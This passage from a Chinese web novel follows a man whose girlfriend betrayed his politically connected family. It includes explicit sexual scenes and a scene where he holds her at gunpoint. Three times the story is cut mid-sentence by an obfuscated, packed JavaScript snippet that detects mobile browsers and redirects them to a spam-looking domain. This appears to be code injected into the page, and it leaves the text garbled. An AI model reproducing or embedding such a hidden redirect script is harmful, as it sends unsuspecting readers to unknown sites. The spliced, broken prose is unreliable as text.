白昊英离开后,陆痕钦才重新回到楼上。 他在床边坐了一会儿,俯身打开床头柜的最底层,枪支旁边放着一小瓶白色的维生素,他拿起来旋开盖子,从里面倒出两片。 平平无奇的普通白色药片,无论装进什么瓶子里都看不出区别,可以是vc,可以是vb,也可以是感冒药,陆痕钦神色平静地放入口中,就着温水灌了下去。 静等了一会儿,他才拿起手机去了夏听婵的房间。 夏听婵应该真是无聊了,她一个人滚在被子里睡得好香,陆痕钦将房门轻轻掩上,觉得应该给她换一个有电视机的房间。 或者搞个投影吧,他面无表情地想着,跟墨水屏有异曲同工之妙,护眼么,谁不行似的。 她的手机放在枕头边,陆痕钦走过去浅浅地坐在她床沿,将她的手机拿起来,在手心里转了几圈后还是没有解锁打开,只将它放在床头。 她的手也伸在外面,保持着玩手机后发困了倒头就睡的姿势,陆痕钦轻轻地握住她手指,指尖冰冷无比,他被这种温度刺得轻微一颤,张开手将她整只手都包了进去。 空调温度稍稍打高了一些,被子也被他仔细掖好,陆痕钦埋下头,耐心地等待她的手指恢复活人应有的体温。 他凑得近了,鼻腔里微弱地传来清浅的香气,视野范围内瞧见她那件一直当做睡衣的宽大棉T堆叠在一旁,这件衣服在国内的时候就被丢在他家,也不知道怎么的,被他收拾行李时漂洋过海一起带了过来。 明明塞在地下室的储物间里,怎么就被她翻出来了? 他将侧脸贴在柔软的布料上,深吸了一口气,发觉衣物上的气息更加浓郁了一些,是她来了之后将衣物扔进洗衣机时,偶尔会用沐浴露洗一些真丝织物,她以前说过这是生活小妙招,但他觉得应该是她洗完澡后经常穿着这件衣服,才会沾染上这些气息。 陆痕钦闭着眼,被子底下,他的掌心还握着她的手腕,拇指上下沿着腕骨细细地抚摸时带来微妙的饥饿感,他有一点想咬她,或者其他更能满足饱腹感的事。 分手之前的那段时间,他们做得很凶。 他很容易回想起那段时间,一段在此后注定了椿梦和噩梦里都是她的脸的时光。 陆文成很少关心自己儿子的生活,但他知道夏听婵,并提醒过两次。 他说:“你那个小女朋友小时候待过的阳光福利院,背后似乎是钟理群。” 完全料想不到的消息,在此之前,陆痕钦从未把两者联系起来过。 父亲生性多疑,刻板不通人情,陆痕钦在很小的时候就学会了如何跟父亲打交道。 他脸上半点错愕的神色都没显露,面前的调查材料递过来,他用两指夹住纸张边缘,兴致缺缺地翻了翻,直到最后一页被指尖挑过去才轻轻一弹指,将调查材料往桌子对面一送。 纸张滑过光滑的桌面,刚好被推到离桌沿几厘米的位置,他撒谎道:“我知道,小婵一开始就告诉我了。” 父亲鹰隼般探寻的眼神在他面上睃巡,这句话不足以说服他。 陆痕钦好整以暇地迎着陆成文的审视:“钟理群做慈善也不是一年两年了,是个福利院往上扒个几代都跟他有远方亲戚的关系,难道他会在这么多希望小学敬老院福利院……里认识一个孤女?” “您会记住在我们昭泰医疗就诊过的一个普通患者么?” 他太镇定自若,父亲将信将疑地放过了他。 后来想想,他真是擅长替她圆谎,他跟夏听婵之间几乎没有吵过架,因为每一次有矛盾的时候,哪怕是她的错,他也会在心里预先替她想好说辞和借口,然后在她开口之前就那么自我洗脑般原谅了她。 朋友打趣说他一碰到夏听婵的事就没有原则,他说是啊,天大地大,女朋友最大。 她把他训得太好了,温顺得像一只只知道围着她转的狗。 这个小插曲他甚至没有拿出来去质问夏听婵,他对她充满信心,狂妄地笃定这只是父亲无理的猜忌罢了。 陆文成也确实没有那么多精力能花在这种小事上。 因为国选党的颓势已经有了预兆。 陆文成很早就在国外铺了线,狡兔三窟,他得为自己和家人留好后路。 那段时间父亲变得更忙,来往的人连陆痕钦自己都很少有机会能看到,陆文成通常一个电话就离开,像是地底下来去无踪的鼹鼠。 听说党派在会上又争执起来,针对环保事项进行了专项组介入调查,久居国外的母亲中途回了一次国,购入大量奢侈品用以到国外后快速变现,家里安排将他提前送出国,这就意味着他要跟夏听婵失约了。 陆痕钦不想出国,手机上的日历记录着“小婵出差回家倒计时”,他都快熬出头了,现在告诉他不用等了,直接异国。 开什么玩笑。 他给夏听婵打去电话,只响了两声就被对面挂了,他以为是她暂时有事,还没来得及留言,夏听婵就发来一张照片。 是高速公路,但没有拍到具体的路标。 再发来一张,是高架桥,她拍摄得太糊,照片又被一辆再普通不过的轿车占据了大半。 第三张是车水马龙的红绿灯,第四张是拐进内部道路的抓拍。 那是她家附近。 “我提前回来啦。” 意外惊喜,陆痕钦当即推掉了跟好友的球赛,开车去她家找她。 每次去找她,他都要经过那条300米的隧道,那是整个行程的最后一节。 驶入黑暗的瞬间就像黎明的前夜,隧道顶的照明灯一盏一盏掠过,在挡风玻璃上投下忽明忽暗的光影,所有他难以平复的紧张、期待、欢欣,全都揉碎在这短短的半分钟里。 然后,出口的光亮骤然逼近,温暖的日光如潮水般漫进车厢,一寸寸镀亮他的指节、袖口、侧脸。 他知道穿过隧道意味着什么。 隧道尽头是她。 夏听婵说提前回来是想给他一个惊喜,她问他是不是要出国了。 那段时间风声鹤唳,就连她都敏锐地意识到了,财阀支撑政党,本来就是一荣俱荣一损俱损。 家里催了几次,但陆痕钦都拖拖拉拉的,前后几张机票都被他以各种理由“错过航班”,他想着是否有更好的办法,比如能带她一起走。 他的未来理所当然地应该有她,陆痕钦打算先问过她的意思再论,只要她愿意出国,他可以安排好一切。 但那天直到最后,他还是没有问出这个问题,因为他敏锐地察觉到夏听婵有些轻度焦虑。 她无意识地在剥指甲,不管是说话还是吃饭的时候,空出来的那只手一直在慢频率地抠挖指甲。 他发现她的指甲上已经有了轻微的分层。 “怎么了?”陆痕钦捏住她的手指,把她的手包进掌心。 夏听婵摇了下头,没说话。 陆痕钦将她的手指团在手心里慢慢揉捏,短暂思考后给出保证:“听婵,我不强求你,你有你的人生目标,没道理要因为我而发生改变,如果你在纠结这个事,我到时候可以频繁来返——” 她忽地打断,抬起脸笔直地望向他:“陆痕钦,你能自薇给我看吗?” 他剩下的话全然卡在喉咙里,眉宇间轻微颤动了下,隐秘的渴求勾着一点点上涨至澎湃,几乎被她一句话弄出了反应。 他有分离焦虑症,当然,他觉得自己只是轻度的,他的母亲长期在国外接受医疗服务,父亲忙于公事,但夏听婵再忙都会分出时间给他。 所以他非常黏她。 在不能见面的时候,他没少跟她phone s??,一开始也是她先提出来的,突然的一句“想看”打得他措手不及,他还在那里委婉地推拒了一下:“不是很会……” 她就接连发了几段网上下载的资源过来,视频右上角还金光闪闪地写着“精品”两个大字。 “像这种,握住,会吗?我只是举个例子,视频里长得不好看,你皮肤白,手指长,鼻梁高……”她说着说着就把自己说笑了,“我想看你。” 开了先例后就一发不可收拾,他到后来甚至买过一些穿戴或是束缚的玩意儿,夏听婵吓唬他,说要把他的视频分享到外网去,他呼吸不稳,湿哒哒的手指将镜头更低地按了下去,喊她宝宝看看我,他知道只要他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004610|177581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将自己弄得一塌糊涂,她总会用更加湿润的目光注视着他,一遍遍地跟他说喜欢。 女朋友开口,没有说不的道理。 陆痕钦有求必硬,他松开她的手,在她的指甲上亲了一口,然后微微偏头用牙齿轻咬住拉链的金属头,单手将外套拉链顺滑地拉开。脱完上衣,他没急着将裤子也解开,只是松了松裤腰让它险险挂在自己胯骨处,而后往床上慢腾腾地躺下去,抓着她的目光引向自己的手指,当着她的面将另一个拉链缓慢拉开。 她当然是喜欢它的,他白,长得漂亮又权威,与视频里所有的都不一样。 陆痕钦很懂怎么让她开心,他让她背对着她坐在他脸上,来不及吞咽时,她一低头就可以用手指在他下巴处抹去。 但这次有些刹不住车,夏听婵的焦虑程度比他想象中要更严重,她坐着坐着,就坐到了他腿上。两人都有些意乱情迷,中间还一度弄破了一只套,他呼吸不稳地抓住她的大腿,那些细腻的脂肉从他指间溢出,他忍了又忍,想先退出来,可她凑下来亲他,说不是结扎了么,于是他更收不住失控的力道,到后来她的身体已经有些轻微打摆子,但还是一直说要。 陆痕钦在她家留宿了一晚,第二天懒到傍晚也不愿意走,夏听婵忽然说她考虑换租,最近需要临时找地方暂住。 “行啊,”他把名下房产地址发给她,“都空着,你想去哪里都行,密码你生日。” 夏听婵选了个离他家主宅最近的房子,他求之不得,两个人在那段时间在卧室安了面镜子,又将书房的椅子换了把更大更稳的,都是那样精力旺盛的年纪,恨不得全天24h腻在一起。 陆文成出事那天,夏听婵照例主动约了他,只是这一次约会的地点距离他家主宅很远,而他在约定地点等了两个小时都没见她出现,期间电话加信息不知发了多少,可都石沉大海。 晚上7点22分,陆文成暴毙在离家不到三十米的地方。 与此同时,与父亲多年交好的三合重工董事长崔成民,另一位国选党背后的肱骨之臣在家中上吊自杀,并且留下了一封简短的遗书。遗书里并没有写什么关键信息,只说因为“个人健康问题”而承受不了压力。 警卫将两处宅子围了个水泄不通,媒体持续蹲守最新消息,可最后哪家都没有多说。 因为第三天,一份发布在外网的BMS名单,列出了国内高层人士在海外的私人账户,名单里隐晦指向重大经济犯罪和税务欺诈。 名单里,陆文成这个名字出现的频率高得仿佛这是一本他的个人传记。 但这份名单很快就被全网屏蔽,无论是谐音还是用符号代指都显示“因为有关规定,相关内容不予显示”。 不少自媒体争相头脑风暴,结论一致指向“非常明显的政治斗争”,“真假难辨”,但最终能定性真假的判官得看这次大选的结果花落谁家。 自始至终,主流媒体保持着千篇一律的简短报道,又一次黑色证明了“事情越大新闻越短”。 名单中的国选党成员受到了极大的调查压力,一条藤上的葡萄似的都被爆出来,有质疑的声音提出这份名单的涉密程度很可能代表拿到它的手段并不合法,在取证责任方面是否可以扳回一城? 但这种声音很快被压了下去。 社民党也有被牵涉至名单中的人员,可远没有伤及筋骨。 两党之间有关能源政策和移民政策的分歧到这个地步已经没有分歧了,民意剧烈动荡,不信任投票引发提前大选,国选党支持率急转而下。 陆痕钦到最后都没能看到一眼陆文成的遗体,他在出事当晚就被送出国,他的母亲姜敏身体一向不好,很早就到国外接受专业医疗服务,并多次催促过他早日出境。 而夏听婵却始终联系不上,她的号码在一周后变为空号,所有社交账号都将他拉黑。 陆痕钦完全放心不下她,急得发疯,不仅危险地保留了国内的号码,也请了不少共友暗中留意照顾,没想到最后是在电视的海外频道里看到她。 不到五秒钟的出镜,一闪而过的熟悉的脸,她站在钟奕身边。 她被钟理群收养成了义女。 11.第 11 章 很多事情等到再回头看的时候都有了答案。 夏听婵“第一次”在图书馆见到钟奕的时候,没有像其他人一样悄悄回头好奇张望,是因为她已经熟悉到没什么好看的了。 她在最初去他家主宅时,曾说过很喜欢他家天然砚台状的水景会客区,陆痕钦当时并未做他想,并且在无人时常常带着她坐在宽大的罗汉榻上剥榛子吃,有人时则转到就近的亭子里,中间只隔着造型旷达的黑松。 家中上下一应人等都认得她,她可以在任何一处房间穿梭。 说要换租暂住,也许只是为了留住他在国内,陆文成出事那天,她又把他约去离家甚远的陶土馆,大概是怕他坏了大事。 正常人很简单就能想通的事,陆痕钦直到从电视里看到她还是不信。 他想当面问问她。 风头还没过去,母亲身体也不好,家里出了大变故,姜敏那口气好像也散了些,以前预定的每周鲜花,一旦有丁点枯败的痕迹她就会抽出来扔掉。 可自打父亲去世后,她常常会盯着瓶子里的鲜花一点点枯萎,看它从丝绒般的深红色慢慢褪色成干枯的棕黄色,挺拔的根茎一点点弯曲着垂下头,看花瓣稀稀拉拉地全部掉在桌子上。 陆痕钦走不开,海外的集团公司业务亟待接手,他每日也需要多花些时间陪伴一下母亲,国内的原号码里消息不断,其钟不乏关系不错的哥们私下询问他跟夏听婵怎么了。 【没怎么,我走得急,来不及安顿好她,被钟理群收养的事,她一早就跟我说起过了。】 【哦哦那就好,害我们就说,周围那些情侣,谁分了你们也不会分。好的好的,就是异国恋辛苦喽。】 简短的寒暄,陆痕钦盯着自己打的那些字,忽然扯了下嘴角机械地笑了笑,有关他跟夏听婵之间的个中事情,他没有跟任何人说道过,即使有些真相明明已经呼之欲出,他仍然固执地觉得,有些话如果从他嘴里撕破,那两个人之间就真的没有未来了。 而他还在乞求一个缥缈的未来。 人真是可怕的动物,能自欺欺人到这个程度。 他每天都会给夏听婵发去几条简讯,期许有那么一条信息的前方不再有红色感叹号,可始终没有如愿。 他频繁在夜里惊醒,然后开始复盘前因后果,他想得细致又周道,他觉得夏听婵应该是有难言之隐,他觉得她很有可能被胁迫威胁,又或者明明非她所愿,但因为小时候还在福利院的时候就与钟家有了瓜葛所以不得不……哦,还有可能是她唯一的亲人,福利院里的何寻雁奶奶,打小一路最照顾她最疼爱她,也是她最爱的人,会不会是钟理群拿何寻雁拿捏了她…… 他为她找了太多理由了,就好像生怕她想不到好的借口来搪塞自己,在每一个见不到她也收不到她回音的夜晚里,他都拿这些猜想反复哄骗安慰自己,告诉自己成熟的男人应该在听到她亲口的回答之后再下判断,有多少误会都是因为没有说开才遗憾错过,而他不愿意错过。 他非常,非常,喜欢她。 母亲去世之前重新开始抽烟了,她年轻的时候有比较重的烟瘾,但硬生生因为一句“对皮肤不好”所以戒了,她本来就是个爱惜容颜的女人,不允许自己吃一丁点不健康的食物,不允许一根白发留在她头皮上,频繁的医美让她的脸颊光洁青春远超同龄人。 但到最后一个月的时候姜敏忽然说:“小狗死之前能尝尝巧克力的话,我应该也可以。” 陆痕钦就给她买了一盒大卫杜夫,纤细的烟被她夹在手指间,她抽了一口,闭着眼过肺后才慢慢吐出,评了句:“淡。” 姜敏当然是个狠人,父亲去世后陆痕钦没有见过她流过一滴眼泪,后事皆由陆痕钦一人打理,在国内时就有嘴碎的公众号在那里扒她的情史,说她十八线小明星上位,跟陆文成两人一个图财一个图色,新鲜感一过就得掰,姜敏要是聪明的话就得早点一个接着一个地生娃,早点立信托,早点拿股权。 但她很遗憾的,以上的事一件都没做,干的全是离婚律师口中最不争气的事:比如膝下只有一个孩子,比如对公司的事万事不管只顾游山玩水开艺术展,钱都花在高定和奢侈品上,家里甚至有好几个一模一样的高奢包,因为她买来后没拆,就忘了自己有没有买过这个包。 到后来她身体出了问题,更是常年定居在国外接受最好的医疗服务,媒体又开始预言两人马上就要离婚了,可两夫妻从来没有回应过任何有关私人生活的话题,陆文成站到那个镁光灯环伺的位置,身边也从来没见过第二个有暧昧嫌疑的女性。 他会尽可能抽出时间飞去国外见见妻子,也跟姜敏说过:“世上从来没听说过有哪个妻子因为买买买而倾家荡产的,只有省省省而人财两空的……死不带走的东西,千金难买你高兴。” 转移到国外的资产和账户最后都落在姜敏名下,公司股权和实际控制也是她和陆痕钦两人的,因为陆文成知道她懒得看那些报表,所以拉上了儿子。 这些都是陆文成主动做的,只不过外界的说辞大多仍然是阴谋论和“商业头脑论”。 陆痕钦也不清楚自己的父母之间究竟是什么情况,姜敏现在云淡风轻,可在风头最紧张的时侯明明千里迢迢回了一次国。 姜敏慢慢地抽完一根烟,懒得再用火机点一根新的,便掸了掸烟灰,趁着燃尽前用最后一截点燃第二根。 她说:“老陆那份名单是真的。” “人么,查起来总有点不干净,不过他不一样,”姜敏笑了笑,“他没几处干净的。” “我知道他迟早要翻车,我定居在这儿,也是我俩商量好的。” “家里没跟你说,是觉得这种事不便声张,但结果还是……”她语调一扬,好奇闲聊般,“小婵把你甩了?” 陆痕钦平静地推了把烟灰缸,接住那截过长的烟灰:“没有。” “没有?”姜敏“咯咯”地笑起来,“你要不照照镜子看看你的脸色?” “我们分不了。” 姜敏盯着他,忽然说:“你跟你爹一模一样。” “陆痕钦,我没有小婵狠,你没有老陆狠,你好好考虑一下吧。” 这之后她就不再说话了,烟一根接着一根,直到陆痕钦皱着眉提醒了一句,她才一边吞云吐雾,一边说了第二句云里雾里的话: “我催你出国是想让你活着,但我现在觉得,你要是以后哪天决定回国了,也是想活着。” 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010993|177581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敏在一个月后去世。 陆痕钦接连办了两场葬礼,得体、从容、成熟、情绪稳定,看向黑白照时脸颊肌肉没有一丝应有的悲伤纹路,他甚至自始自终没有流过一滴眼泪。 下葬那天老天开玩笑似的稀稀落落下了几滴雨,他从教堂出来,手掌摸过眼角时停顿了一下,那里干燥得让他觉得他的身体机能是不是出了些问题。 但日常生活中并没有什么不适反应,他也不觉得身体在喊累,唯一有点变化的是他的睡眠质量直线下降,通常一天只需要三四个小时的睡眠时间便足够了。 周围人说他话少了些,但其实不是的,他每晚睡不着就给夏听婵大段大段地发消息,哪怕被拉黑着,但他跟她在一起六年,他已经习惯了将大事小事都分享给她。 石沉大海的情况出现转机,是韩佳奈,清云高中时一直跟夏听婵两人争夺第一的女生,后来两人还成了朋友,她来这里旅游碰到陆痕钦,爽快地拨通了夏听婵的电话后递给他。 “不过你怎么不vx联系她?”韩佳奈疑惑,“她手机号换了,原vx并没有注销啊。” 陆痕钦没有回答她,熟悉的声线从听筒里传出来,有一种恍然隔世的不真实感。 他走开,一直到无人的空地才肯开口,韩佳奈在后面打趣“情侣悄悄话我们听不得哦?” 夏听婵好像瞬间猜到了什么,声音一下子灭了。 两人都没说话,听筒里只剩微弱的呼吸。 陆痕钦的声音放得柔和又低沉,好像缓慢流动的厚重水银,他慢慢叫她,每一个字都仿佛含在舌尖: “夏 听 婵 。” 话音才落,耳边只剩下“嘟嘟嘟”的短音,夏听婵直接把电话挂了。 半晌,陆痕钦才慢慢放下一直举在耳畔的手,他平静地看着通话记录里拨通的十七秒,拇指又重又缓地反复擦过那串新号码。 然后转身重新走向等在后方避嫌的韩佳奈,道谢:“通了,谢谢。” “客气。”她收回手机,“才聊这么会?” 陆痕钦缓慢地露出一个昳丽的笑。 号码已经记住了。 韩佳奈感叹:“异国恋辛苦诶。” 他继续回以一个标准社交的笑容。 有意思,夏听婵也没有说起任何有关两人之间的事,就连身边的朋友都以为两人还在交往中。 真默契啊。 他甚至会自作多情地想着,是不是她也舍不得。 她明明是爱他的。 她怎么会不要他呢。 就像他的父母一样,陆文成频繁在百忙之中飞来这里找姜敏……陆痕钦居然在这种相似中尝到了一点奇异的甜蜜。 陆文成和姜敏能在一起几十年,他跟夏听婵凭什么不可以? 陆痕钦莫名想起通往夏听婵家里的那条隧道。 从国外飞回国内,只是一条更长的隧道而已。 而他的心脏像是挣脱了死寂的枷锁一般越跳越快,经过隧道时熟悉的期待和欢欣感提前充盈身体的四肢百骸,就连指尖都开始发烫。 他想起他要做什么了。 他要回去听她亲口解释,听她一如既往地编造谎言来哄骗他。 12.第 12 章 夏听婵在看到那张熟悉的脸的第一瞬间就猛地用力关上门。 门板被一双骨节分明的手横插进来卡住,他反应太快,抵住门框时撞出沉闷的一声。 手背上的筋络淡淡浮起,他的五指在她面前明晃晃地稍稍舒张掌开,像是伸了个懒腰,手上的力道不轻不重,既能保持门板不能再关上分毫,也没有强行逆向推开门闯进来。 僵持不下的局面持续了几分钟,夏听婵当然看到了他手背上压出的淤血痕迹,但她连表情都没变一下,抵着门不肯放他进来。 他也不求,就这么自虐般受着,直到楼道电梯“叮”的一声开始启动下降,他仿佛笑了下,下巴倨傲地微微抬起,剩下的那只手慢条斯理地勾下了自己的口罩,然后混不吝地转过脸看向电梯口。 陆氏国内的资产还没清算完,他胆大包天地回国就算了,还敢在别人面前招摇? 夏听婵终于不满地皱了下眉,陆痕钦没看向她,话却是说给她听的: “我刚才来的时候经过市政大楼,看到车牌933也也上了高架往这里走,是钟奕吧。” 他笑容凉薄:“你不让我进门也没关系,我现在下楼,稍等一会儿大概就能跟他打个照面。” 话音未落,电话适时响了起来的。 夏听婵没轻信他,依旧堵着门没动。 陆痕钦也没动。 响铃声结束,自动接入了语音留言。 【小婵,你手机一直无人接听,我往家里转一下再过来,父亲让我带点东西给你,大概还有十五分钟到,对了,你的车钥匙我帮你换了电池。】 夏听婵明显皱起了眉,她看向陆痕钦,示意他赶紧走,可对方嘴角噙着一抹似笑非笑的讥诮,完全是恭候大驾的意思。 按照陆痕钦以前那个逮谁咬谁的疯劲,谁在她身边的存在感高了些,他就开始发瘟……钟奕……不能让两个人碰面。 夏听婵手上力气一松,在陆痕钦还没转回脸时就把他一把拉进了屋子,然后“砰”的一声砸上了门。 陆痕钦低着头揉了下手背,语气轻松:“还没跟你邻居打招呼。” “什么事?”夏听婵退开两步,无比疏离,“问完就走。” 手背上的淤血揉不开,反倒把周围的皮肤都蹭红了,陆痕钦没看她,开门见山:“你跟钟奕是什么关系?” “你第一个问题是这个?” 他抬眼,放下手自然垂到身体两侧,再抬起来的时候不知道什么时候摸了把冰冷漆黑的枪出来:“你回答就行了。” 夏听婵盯着他那张一潭死水般的冷白的脸,他几乎没怎么眨眼,睫毛在他眼下投出一小片阴影,让他看起来无比阴郁。 她说:“现在是哥哥。” “嗯,以前呢。” “以前是前男友,”她不需要回忆就能准确说出有关钟奕的事,“我们小时候就在福利院认识了,他被他爸送来体验生活——” “行了。”陆痕钦的脸色似乎更惨白扭曲了一度,他阴翳地抬了下手,那把枪也在她面前一晃而过,“不必把你们的恋爱经历也告诉我。” 第二个问题,他问:“你是不是早就知道我家会被……” “是。”干脆利落的回复。 他的喉结缓慢地滚动了一记,脖颈处苍白的皮肤下青蓝色的血管越发明显,他轻声道:“最后那段时间我们成天厮混在一起,你没有跟我透露过一丝半点。” 夏听婵用看陌生人的眼神看着他:“这种事怎么能提前预告?” 他的呼吸声一下子变沉,每一次又深又缓的胸膛起伏都像在强行压制着翻滚的情绪,他想他应该耐着性子给她提示,如果她愿意的话,她可以从他为她早早想好的借口里找到一点灵感,毕竟她那么聪明,头脑灵活,又会审时度势…… 陆痕钦的视线死死钉在她脸上,极力捕捉她面上的细微表情,一字一句道:“是钟理群和钟奕胁迫你是吗?夏听婵你跟我说实话,你是迫不得已是吗?” 夏听婵看着他:“谁能逼我?” 她很轻很轻地说了句:“我第一次遇见你,就知道你是陆痕钦了,不是吗?” 整个房间的空气仿佛凝固了。 他问:“你什么意思?” “我的意思是——” “你最好别跟我说什么从一开始逢场作戏的鬼话!”陆痕钦的声音骤然发狠,眨眼间便逼近她把枪抵在她腰上,上膛的声音清楚地在房间里响起。 他眼眶发红,呼吸都是碎的,那未说完的半句话对他而言简直是晴天霹雳,他想过很多次她是从什么时候决定背叛他的,所有相处的日常被他一点点剖析复盘,他想了无数种可能性为她开脱了无数次,但! 但如果她说一开始就是别有用心的话他根本受不了!这意味着他曾经爱得死去活来的甜蜜回忆其实是从一开始就是一场骗局! 她怎么能这样对他?她怎么能?! 陆痕钦握住枪支的手越收越紧,扳机在掌心的皮肉里挤压出不堪重负的摩擦声,他将她关在自己和桌子中间,压住她的腿,将枪口慢慢从她腰际滑到小腹,然后用力顶进去,放缓了语速道: “哪怕是真的,现在枪在我手上,钟理群连个保镖都没有派给你,你编也编个我爱听的话来说,就跟你以前一样,你能骗我六年,还差这一时半会吗?” 夏听婵被迫往后仰,她被夹在中间,枪口像一枚漆章印进她的皮肉里,她往下扫了眼枪,而后目光又滑向他的眼,慢慢地迎着他的视线抬起手,却没有过头,只温吞地举到肩膀的位置就打住,连手指都无精打采地半蜷着。 非常敷衍的一个投降姿势,与其说是示弱,更像是挑衅。 “你的狠话呢?”夏听婵不答反问,“你不是说你说话很狠毒的吗?” “这就是你所谓的狠毒?不远万里从国外回来,大半夜的来我家,然后问我一些你已经猜得八九不离十的废话?” “我拉黑你你不懂什么意思吗?分手你不懂吗?我在拷走名单的时候就做好了分手的准备,陆痕钦我们俩到现在这个地步已经没法在一起了。” 一句句话砸到陆痕钦脸上,他的情绪并不稳定,但始终没有回嘴,只在最后这句话时忽然像是潮湿的苔藓一般又轻又慢地缠上她,说了句:“夏听婵,我们分不了,我们先死再谈分手。” 这句话一出,夏听婵定了好久才轻微地偏了下头,说:“陆痕钦,我教你怎么样叫狠话,怎么样能分手,那天你原本能走,我们做了,我说我快到了的时候会咬你抓你,但你要凶一点摁住我别停,这样我能爽到。” 她的眼睫轻轻弯了弯,像是一把取人心头血的镰刀,她说:“我也是在跟你之前试出来的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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良久,她听到短促的一声嗤笑,像是阴冷的毒蛇。 某种直觉在脑海里电光火石般一闪而过,她表情一变,看到陆痕钦抬起整条胳膊,稳稳地压住身旁的枪,然后劲腰一拧笔直地支起上半身,岔开双腿散漫地半坐在桌子上。 他当着她的面,从口袋里摸出两枚子弹,一粒,一粒,地装了回去。 枪支重新上了膛。 “我这次回来,想着但凡你对我心软一次,就一次……我都贱成这样了。” “真好,你一次都没有。” 他脸上还有湿淋淋的斑驳泪痕,语气却冰冷:“我恨你,夏听婵,哪怕过了五年,十年,二十年,我都会记住我有多恨你。” 夏听婵就站在他面前,纹丝不动。 她连躲都不躲,更显得痛苦挣扎的他好像一个可悲的笑话。 她的判断是对的。 那把枪上完膛后依旧没有抬起来,好像一块烧红的烙铁沉沉地压在他的腿上,一直烫进血肉里。 他的睫毛湿漉漉地黏在一起,用泪眼朦胧的一双眼睛死死地盯着她,眼底却烧着某种近乎绝望的恨意: 他轻声说:“……你如果死了该有多好啊。”